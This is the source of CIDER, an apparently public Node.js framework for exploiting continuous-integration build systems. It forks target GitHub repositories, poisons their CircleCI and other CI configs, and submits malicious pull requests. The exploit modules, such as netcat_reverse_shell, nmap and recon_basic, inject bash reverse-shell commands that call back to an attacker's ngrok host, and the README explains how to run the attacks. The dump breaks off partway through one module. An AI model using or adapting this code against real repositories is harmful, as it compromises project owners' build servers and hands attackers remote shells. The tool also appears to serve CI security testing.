├── .github └── workflows │ └── codeql-analysis.yml ├── .gitignore ├── .jshintrc ├── LICENSE ├── README.md ├── configs └── .gitkeepconfigs ├── package-lock.json ├── package.json ├── repos └── .gitkeeprepos └── src ├── exploits ├── circle-ci │ ├── netcat_reverse_shell │ │ ├── config.yml │ │ └── exploit.js │ ├── nmap │ │ ├── config.yml │ │ └── exploit.js │ ├── recon_basic │ │ ├── config.yml │ │ └── exploit.js │ └── recon_verbose │ │ ├── config.yml │ │ └── exploit.js ├── drone │ ├── github_oauth │ │ ├── .drone.yml │ │ └── exploit.js │ ├── netcat_reverse_shell │ │ ├── .drone.yml │ │ └── exploit.js │ ├── nmap │ │ ├── .drone.yml │ │ └── exploit.js │ ├── recon_basic │ │ ├── .drone.yml │ │ └── exploit.js │ └── recon_verbose │ │ ├── .drone.yml │ │ └── exploit.js ├── jenkins │ └── nmap │ │ ├── Jenkinsfile │ │ └── exploit.js └── travis │ ├── netcat_reverse_shell │ ├── .travis.yml │ └── exploit.js │ ├── nmap │ ├── .travis.yml │ └── exploit.js │ ├── recon_basic │ ├── .travis.yml │ └── exploit.js │ └── recon_verbose │ ├── .travis.yml │ └── exploit.js ├── index.js ├── lib ├── exp.js ├── files.js ├── gh.js ├── menu.js ├── ng.js ├── preferences.js ├── prompt.js ├── repos.js ├── server.js ├── sessions.js └── targets.js └── modules ├── circle.js ├── drone.js ├── jenkins.js └── travis.js /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ master ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ master ] 20 | schedule: 21 | - cron: '34 9 * * 3' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | permissions: 28 | actions: read 29 | contents: read 30 | security-events: write 31 | 32 | strategy: 33 | fail-fast: false 34 | matrix: 35 | language: [ 'javascript' ] 36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] 37 | # Learn more: 38 | # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed 39 | 40 | steps: 41 | - name: Checkout repository 42 | uses: actions/checkout@v2 43 | 44 | # Initializes the CodeQL tools for scanning. 45 | - name: Initialize CodeQL 46 | uses: github/codeql-action/init@v1 47 | with: 48 | languages: ${{ matrix.language }} 49 | # If you wish to specify custom queries, you can do so here or in a config file. 50 | # By default, queries listed here will override any specified in a config file. 51 | # Prefix the list here with "+" to use these queries and those in the config file. 52 | # queries: ./path/to/local/query, your-org/your-repo/queries@main 53 | 54 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 55 | # If this step fails, then you should remove it and run the build manually (see below) 56 | - name: Autobuild 57 | uses: github/codeql-action/autobuild@v1 58 | 59 | # ℹ️ Command-line programs to run using the OS shell. 60 | # 📚 https://git.io/JvXDl 61 | 62 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines 63 | # and modify them (or add more) to build your code if your project 64 | # uses a compiled language 65 | 66 | #- run: | 67 | # make bootstrap 68 | # make release 69 | 70 | - name: Perform CodeQL Analysis 71 | uses: github/codeql-action/analyze@v1 72 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/* 2 | repos/* 3 | !repos/.gitkeeprepos 4 | npm-debug.log 5 | configs/* 6 | !configs/.gitkeepconfigs 7 | 8 | 9 | -------------------------------------------------------------------------------- /.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "esversion": 6 3 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, Tyler Welton 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### UPDATE/ANNOUNCEMENT: 2 | I will be ending support for this framework, and likely will start working on a new implementation for an exploit and recond framework for CI/CD. I was convinced that I had announced this already, but I guess I had not. I will remain public, so as not to break any existing implementations or integrations. Much love. spaceB0x 3 | 4 | # CIDER 5 | ## Continuous Integration and Deployment Exploiter 6 | 7 | CIDER is a framework written in node js that aims to harness the functions necessary for exploiting Continuous Integration (CI) systems and their related infrastructure and build chain (eg. Travis-CI, Drone, Circle-CI). Most of the exploits in CIDER exploit CI build systems through open GitHub repositories via malicious Pull Requests. It is built modularly to encourage contributions, so more exploits, attack surfaces, and build chain services will be integrated in the future. 8 | 9 | 10 | ## Setup 11 | ### Prerequisites 12 | * Node JS version 8.2.1 Node is cross platform for both Windows, Linux, and OSX. NOTE: For OSX I highly recommend downloading npm and Node.js from the respective download links, instead of using brew. This can cause many frustrating problems. https://nodejs.org/en/ 13 | * Must also have the Node Package Manager installed (npm). 14 | * A github account, with an Oauth application enabled. 15 | * An ngrok account, which is free. You will need the authentication key from this. https://ngrok.com/ 16 | 17 | ### Configuration 18 | There has been effort put in to CIDER to make configuration as simple as possible. More convenience features may in future releases. 19 | 20 | #### NPM modules 21 | Once node has been installed traverse to the root directory of the repository. To download the necessary dependencies you must run: 22 | ``` 23 | npm install --save 24 | ``` 25 | Which should find all of the necessary dependencies listed in the package.json file. You should now be able to fire up CIDER by typing: 26 | ``` 27 | node index.js 28 | ``` 29 | 30 | ## GitHub configuration 31 | You must have a GitHub account from which to launch these attacks. The idea being that your attacker account makes malicous pull requests against a target GitHub repository to test and exploit misconfigurations. Additionally you must have and OAuth application configured such that you can issue personal tokens from gitHub. CIDER will take care of generating a token for you, but the feature must be enabled in GitHub. 32 | 33 | ### `login ` 34 | The login command takes two arguments. `github` or `ngrok`. It will then prompt you for your GitHub username and password, or your ngrok token respectively. It will store them in an encrypted manner locally and should retrieve them automatically from tha point on. 35 | ``` 36 | login github 37 | ``` 38 | 39 | __NOTE__: to login to gitHub after you already have a token will fail. This is because you already have a 'personal token' issued in gitHub for the CIDER service. You will have to delete that token in GitHub before running the login again. This is to prevent you from generating a billion freaking tokens by accident. 40 | 41 | __ANOTHER NOTE__: There is currently a bug with the login feature. Once you enter your credentials they will only retain once you exit CIDER and open it back up again. So currently the workaround for say the ngrok login; is to first do 42 | 1.) __login ngrok__ 43 | 2.) Enter Creds 44 | 3.) __exit__ 45 | 4.) Reopen CIDER 46 | Working on a fix for this 47 | 48 | ## Ngrok configuration 49 | This is the same as above, however you will simply be prompted for your Ngrok auth token which can be grabbed from your account. 50 | ``` 51 | login ngrok 52 | ``` 53 | 54 | ## Main Commands 55 | ### `help` 56 | Lists the help menu 57 | 58 | ### `clear` 59 | Clears the screen 60 | 61 | ### `list` 62 | Lists the following items which it takes as arguments 63 | - __targets__ *Lists all repositories that are in the targets list. These are what the will attempt to be exploited when running and exploit. 64 | - __exploits__ *Lists all available exploits. 65 | 66 | ### `add` 67 | This addes a target. Takes arguments 'target' and then the target repo name. Ex `add target /` 68 | 69 | ### `remove` 70 | This removes a target. Takes arguments 'target' and then the target repo name. Ex `remove target /` 71 | 72 | ### `load` 73 | Loads an exploit to be used. Ex. `load `. Available exploits can be found by `list exploits` 74 | 75 | ### `unload` 76 | Unloads the currently loaded exploit. 77 | 78 | ### `info` 79 | Lists info for the currently loaded exploits. Does not work if no exploit is loaded. 80 | 81 | ### `sessions` 82 | This takes you to the sessions menu for managing live callback sessions. 83 | 84 | ## Sessions menu 85 | Once in the sessions menu there are only a handful of commands to run 86 | ### `list` 87 | Lists the available sessions. 88 | 89 | ### `back` 90 | This serves two purposes. If you are in the base SESSIONS menu it will return you to the CIDER menu. If you are currently in a running session, it will retrun you to the SESSIONS menu. 91 | 92 | ### `select` 93 | This selects a session shell to drop into. Takes the form `select `. 94 | -------------------------------------------------------------------------------- /configs/.gitkeepconfigs: -------------------------------------------------------------------------------- 1 | MT -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "cider", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "chalk": { 8 | "version": "1.1.3", 9 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", 10 | "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=" 11 | }, 12 | "clear": { 13 | "version": "0.0.1", 14 | "resolved": "https://registry.npmjs.org/clear/-/clear-0.0.1.tgz", 15 | "integrity": "sha1-5RhuIp2ZRIF5wTAxG2+dML/2sLo=" 16 | }, 17 | "clui": { 18 | "version": "0.3.6", 19 | "resolved": "https://registry.npmjs.org/clui/-/clui-0.3.6.tgz", 20 | "integrity": "sha512-Z4UbgZILlIAjkEkZiDOa2aoYjohKx7fa6DxIh6cE9A6WNWZ61iXfQc6CmdC9SKdS5nO0P0UyQ+WfoXfB65e3HQ==" 21 | }, 22 | "figlet": { 23 | "version": "1.2.0", 24 | "resolved": "https://registry.npmjs.org/figlet/-/figlet-1.2.0.tgz", 25 | "integrity": "sha1-bEZTc3j6tkkUa1phQ92gGbQwtBA=" 26 | }, 27 | "github": { 28 | "version": "9.2.0", 29 | "resolved": "https://registry.npmjs.org/github/-/github-9.2.0.tgz", 30 | "integrity": "sha1-iohtxA3WNjZwfcr5nfPfJsWfFvw=" 31 | }, 32 | "inquirer": { 33 | "version": "3.2.1", 34 | "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-3.2.1.tgz", 35 | "integrity": "sha512-QgW3eiPN8gpj/K5vVpHADJJgrrF0ho/dZGylikGX7iqAdRgC9FVKYKWFLx6hZDBFcOLEoSqINYrVPeFAeG/PdA==", 36 | "dependencies": { 37 | "ansi-regex": { 38 | "version": "3.0.0", 39 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", 40 | "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=" 41 | }, 42 | "ansi-styles": { 43 | "version": "3.2.0", 44 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", 45 | "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==" 46 | }, 47 | "chalk": { 48 | "version": "2.0.1", 49 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.0.1.tgz", 50 | "integrity": "sha512-Mp+FXEI+FrwY/XYV45b2YD3E8i3HwnEAoFcM0qlZzq/RZ9RwWitt2Y/c7cqRAz70U7hfekqx6qNYthuKFO6K0g==" 51 | }, 52 | "strip-ansi": { 53 | "version": "4.0.0", 54 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", 55 | "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=" 56 | }, 57 | "supports-color": { 58 | "version": "4.2.1", 59 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.2.1.tgz", 60 | "integrity": "sha512-qxzYsob3yv6U+xMzPrv170y8AwGP7i74g+pbixCfD6rgso8BscLT2qXIuz6TpOaiJZ3mFgT5O9lyT9nMU4LfaA==" 61 | } 62 | } 63 | }, 64 | "lodash": { 65 | "version": "4.17.19", 66 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", 67 | "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==" 68 | }, 69 | "minimist": { 70 | "version": "1.2.3", 71 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.3.tgz", 72 | "integrity": "sha512-+bMdgqjMN/Z77a6NlY/I3U5LlRDbnmaAk6lDveAPKwSpcPM4tKAuYsvYF8xjhOPXhOYGe/73vVLVez5PW+jqhw==" 73 | }, 74 | "netcat": { 75 | "version": "1.3.1", 76 | "resolved": "https://registry.npmjs.org/netcat/-/netcat-1.3.1.tgz", 77 | "integrity": "sha1-Cuu4TPc/jrJtFe30gq0J8wTV7Dg=" 78 | }, 79 | "ngrok": { 80 | "version": "2.2.15", 81 | "resolved": "https://registry.npmjs.org/ngrok/-/ngrok-2.2.15.tgz", 82 | "integrity": "sha1-jNV109kWeKJp+QUjMgv+wdoc0NM=" 83 | }, 84 | "preferences": { 85 | "version": "0.2.1", 86 | "resolved": "https://registry.npmjs.org/preferences/-/preferences-0.2.1.tgz", 87 | "integrity": "sha1-nMVgdb639GGlsJFAn3ZQUEXUlKo=" 88 | }, 89 | "simple-git": { 90 | "version": "1.75.0", 91 | "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-1.75.0.tgz", 92 | "integrity": "sha1-6t3JARi0Ch3KODfVHFCsBk7h0og=" 93 | }, 94 | "touch": { 95 | "version": "1.0.0", 96 | "resolved": "https://registry.npmjs.org/touch/-/touch-1.0.0.tgz", 97 | "integrity": "sha1-RJy+LbrlqMgDjjDXH6D/RklHxN4=", 98 | "dependencies": { 99 | "nopt": { 100 | "version": "1.0.10", 101 | "resolved": "https://registry.npmjs.org/nopt/-/nopt-1.0.10.tgz", 102 | "integrity": "sha1-bd0hvSoxQXuScn3Vhfim83YI6+4=" 103 | } 104 | } 105 | } 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "cider", 3 | "version": "1.0.0", 4 | "description": "Continuous Integration and Development ExploiteR", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/spaceB0x/cider.git" 12 | }, 13 | "keywords": [ 14 | "CI", 15 | "security", 16 | "exploit" 17 | ], 18 | "author": "spaceB0x", 19 | "license": "ISC", 20 | "bugs": { 21 | "url": "https://github.com/spaceB0x/cider/issues" 22 | }, 23 | "homepage": "https://github.com/spaceB0x/cider#readme", 24 | "dependencies": { 25 | "chalk": "^1.1.3", 26 | "clear": "0.0.1", 27 | "clui": "^0.3.1", 28 | "figlet": "^1.2.0", 29 | "github": "^9.2.0", 30 | "inquirer": "^3.1.0", 31 | "lodash": "^4.17.19", 32 | "minimist": "^1.2.3", 33 | "netcat": "^1.2.8", 34 | "ngrok": "^2.2.11", 35 | "preferences": "^0.2.1", 36 | "simple-git": "^1.73.0", 37 | "touch": "^1.0.0" 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /repos/.gitkeeprepos: -------------------------------------------------------------------------------- 1 | MT -------------------------------------------------------------------------------- /src/exploits/circle-ci/netcat_reverse_shell/config.yml: -------------------------------------------------------------------------------- 1 | # Javascript Node CircleCI 2.0 configuration file 2 | # 3 | # Check https://circleci.com/docs/2.0/language-javascript/ for more details 4 | # 5 | version: 2 6 | jobs: 7 | build: 8 | #docker: 9 | # specify the version you desire here 10 | #- image: circleci/node:7.10 11 | machine: true 12 | working_directory: ~/repo 13 | steps: 14 | - checkout 15 | - run: 16 | shell: /bin/bash -------------------------------------------------------------------------------- /src/exploits/circle-ci/netcat_reverse_shell/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | github = require(__dirname + '/../../../lib/gh'), 6 | files = require(__dirname + '/../../../lib/files'), 7 | repos = require(__dirname + '/../../../lib/repos'), 8 | exp = require(__dirname + '/../../../lib/exp'), 9 | circle = require(__dirname + '/../../../modules/circle'), 10 | server = require(__dirname + '/../../../lib/server'), 11 | ng = require(__dirname + '/../../../lib/ng'), 12 | targets = require(__dirname + '/../../../lib/targets'), 13 | repodir = __dirname + '/../../../../repos'; 14 | 15 | module.exports = { 16 | 17 | // This particular run function returns an array of netcat listeners 18 | run: (callback) => { 19 | exp.exploitMultiHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, hostname_arr, port_arr, server_arr, url_arr) => { 20 | if (err) { 21 | return callback(err); 22 | } 23 | // Load the .circle.yml file into the repos 24 | circle.loadCircleConfigAll(module.exports.name(), authed_user, ci_targets, () => { 25 | const append_promises = []; 26 | 27 | // iterate through list of files, find circle configs and append to the file 28 | for (let t in ci_targets) { 29 | append_promises.push(new Promise((resolve, reject) => { 30 | circle.appendCircleConfig(`${repodir}/${ci_targets[t]}/.circleci/config.yml`, 31 | `\n - export NGPORT=${port_arr[t]}\n - export NGHOSTNAME=${hostname_arr[t]}\n - mknod /tmp/backpipe p\n - /bin/bash 0/tmp/backpipe &\n - while true; do sleep 60; echo "Keepalive"; done `); 32 | resolve(); 33 | }).catch(err => { 34 | log(err); 35 | })); 36 | } 37 | 38 | // Cash in the promises from above 39 | Promise.all(append_promises) 40 | .then(c => { 41 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 42 | return callback(); 43 | }); 44 | }); 45 | }); 46 | }) 47 | }, 48 | 49 | name: () => { 50 | return "circle-ci/netcat_reverse_shell"; 51 | }, 52 | 53 | type: () => { 54 | return "circle"; 55 | }, 56 | 57 | info: (cb) => { 58 | log(cyan("\n---\nINFO\n---\n")); 59 | log(white(`This exploit takes advantage of open Circle-CI repositories to 60 | create a netcat connection back to the attacker. The end result 61 | is a shell from which to control the compromised Circle-CI container.\n`)); 62 | 63 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 64 | log(white("1) Fork all targets")); 65 | log(white("2) Clone all forked targets locally")); 66 | log(white("3) Start shell handler(s)")); 67 | log(white("4) Load and poison the .drone.yml file of the cloned repos")); 68 | log(white("5) Push commited changes, and submit a pull request")); 69 | return cb(); 70 | 71 | }, 72 | 73 | injectionString: (port, host) => { 74 | return `\n environment:\n NGPORT: ${port}\n\ 75 | NGHOSTNAME: ${host}\n\ 76 | command: |\n\ 77 | set +e 78 | mknod /tmp/backpipe p\n\ 79 | /bin/bash 0/tmp/backpipe &\n\ 80 | while true; do sleep 60; echo "Keepalive"; done`; 81 | }, 82 | 83 | options: () => { 84 | log(green("\n-------\nOPTIONS\n-------\n")); 85 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 86 | // Print options for exploit 87 | } 88 | } -------------------------------------------------------------------------------- /src/exploits/circle-ci/nmap/config.yml: -------------------------------------------------------------------------------- 1 | # Javascript Node CircleCI 2.0 configuration file 2 | # 3 | # Check https://circleci.com/docs/2.0/language-javascript/ for more details 4 | # 5 | version: 2 6 | jobs: 7 | build: 8 | #docker: 9 | # specify the version you desire here 10 | #- image: circleci/node:7.10 11 | machine: true 12 | working_directory: ~/repo 13 | steps: 14 | - checkout 15 | run: 16 | shell: /bin/bash -------------------------------------------------------------------------------- /src/exploits/circle-ci/nmap/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | circle = require(__dirname + '/../../../modules/circle'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | return callback(); 24 | } else { 25 | // Load the .circle.yml file into the repos 26 | circle.loadCircleConfigAll(module.exports.name(), authed_user, ci_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find circle configs and append to the file 30 | for (let t in ci_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | circle.appendCircleConfig(`${repodir}/${ci_targets[t]}/.circleci/config.yml`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for nmap scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= ci_targets.length) { 52 | log(chalk.green("Nmap Scan Complete")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "circle-ci/nmap"; 73 | }, 74 | 75 | type: () => { 76 | return "circle"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit takes advantage of open circle-CI repositories to 82 | run a basic nmap scan against the 10.10.0.0/16 subnet. Customizable subnets coming soon.\n`)); 83 | 84 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 85 | log(("1) Fork all targets")); 86 | log(("2) Clone all forked targets locally")); 87 | log(("3) Start single shell handler")); 88 | log(("4) Load and poison the .circleci/config.yml file of the cloned repos")); 89 | log(("5) Push commited changes, and submit a pull request")); 90 | log(("6) Listen for incoming messages. Close shell once executed.")); 91 | return cb(); 92 | // Print information about the exploit 93 | }, 94 | 95 | injectionString: (port, host) => { 96 | return `\n environment:\n NGPORT: ${port}\n\ 97 | NGHOSTNAME: ${host}\n\ 98 | command: |\n\ 99 | set +e 100 | mknod /tmp/backpipe p\n\ 101 | /bin/bash 0/tmp/backpipe &\n\ 102 | while true; do sleep 60; echo "Keepalive"; done`; 103 | }, 104 | 105 | options: () => { 106 | log(green("\n-------\nOPTIONS\n-------\n")); 107 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 108 | } 109 | } -------------------------------------------------------------------------------- /src/exploits/circle-ci/recon_basic/config.yml: -------------------------------------------------------------------------------- 1 | # Javascript Node CircleCI 2.0 configuration file 2 | # 3 | # Check https://circleci.com/docs/2.0/language-javascript/ for more details 4 | # 5 | version: 2 6 | jobs: 7 | build: 8 | #docker: 9 | # specify the version you desire here 10 | #- image: circleci/node:7.10 11 | machine: true 12 | working_directory: ~/repo 13 | steps: 14 | - checkout 15 | run: 16 | shell: /bin/bash -------------------------------------------------------------------------------- /src/exploits/circle-ci/recon_basic/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | circle = require(__dirname + '/../../../modules/circle'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | return callback(); 24 | } else { 25 | // Load the .circle.yml file into the repos 26 | circle.loadCircleConfigAll(module.exports.name(), authed_user, ci_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find circle configs and append to the file 30 | for (let t in ci_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | circle.appendCircleConfig(`${repodir}/${ci_targets[t]}/.circleci/config.yml`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for basic recon scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= ci_targets.length) { 52 | log(chalk.green("Basic recon scan complete.")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "circle-ci/recon_basic"; 73 | }, 74 | 75 | type: () => { 76 | return "circle"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit takes advantage of open circle-CI repositories to 82 | create run some basic recon against the build server. This includes.\n`)); 83 | 84 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 85 | log(("1) Fork all targets")); 86 | log(("2) Clone all forked targets locally")); 87 | log(("3) Start single shell handler")); 88 | log(("4) Load and poison the .circleci/config.yml file of the cloned repos")); 89 | log(("5) Push commited changes, and submit a pull request")); 90 | log(("6) Listen for incoming messages. Close shell once executed.")); 91 | return cb(); 92 | // Print information about the exploit 93 | }, 94 | 95 | injectionString: (port, host) => { 96 | return `\n environment:\n NGPORT: ${port}\n\ 97 | NGHOSTNAME: ${host}\n\ 98 | command: |\n\ 99 | set +e 100 | mknod /tmp/backpipe p\n\ 101 | /bin/bash 0/tmp/backpipe &\n\ 102 | while true; do sleep 60; echo "Keepalive"; done`; 103 | }, 104 | 105 | options: () => { 106 | log(green("\n-------\nOPTIONS\n-------\n")); 107 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 108 | } 109 | } -------------------------------------------------------------------------------- /src/exploits/circle-ci/recon_verbose/config.yml: -------------------------------------------------------------------------------- 1 | # Javascript Node CircleCI 2.0 configuration file 2 | # 3 | # Check https://circleci.com/docs/2.0/language-javascript/ for more details 4 | # 5 | version: 2 6 | jobs: 7 | build: 8 | #docker: 9 | # specify the version you desire here 10 | #- image: circleci/node:7.10 11 | machine: true 12 | working_directory: ~/repo 13 | steps: 14 | - checkout 15 | run: 16 | shell: /bin/bash -------------------------------------------------------------------------------- /src/exploits/circle-ci/recon_verbose/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | circle = require(__dirname + '/../../../modules/circle'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | 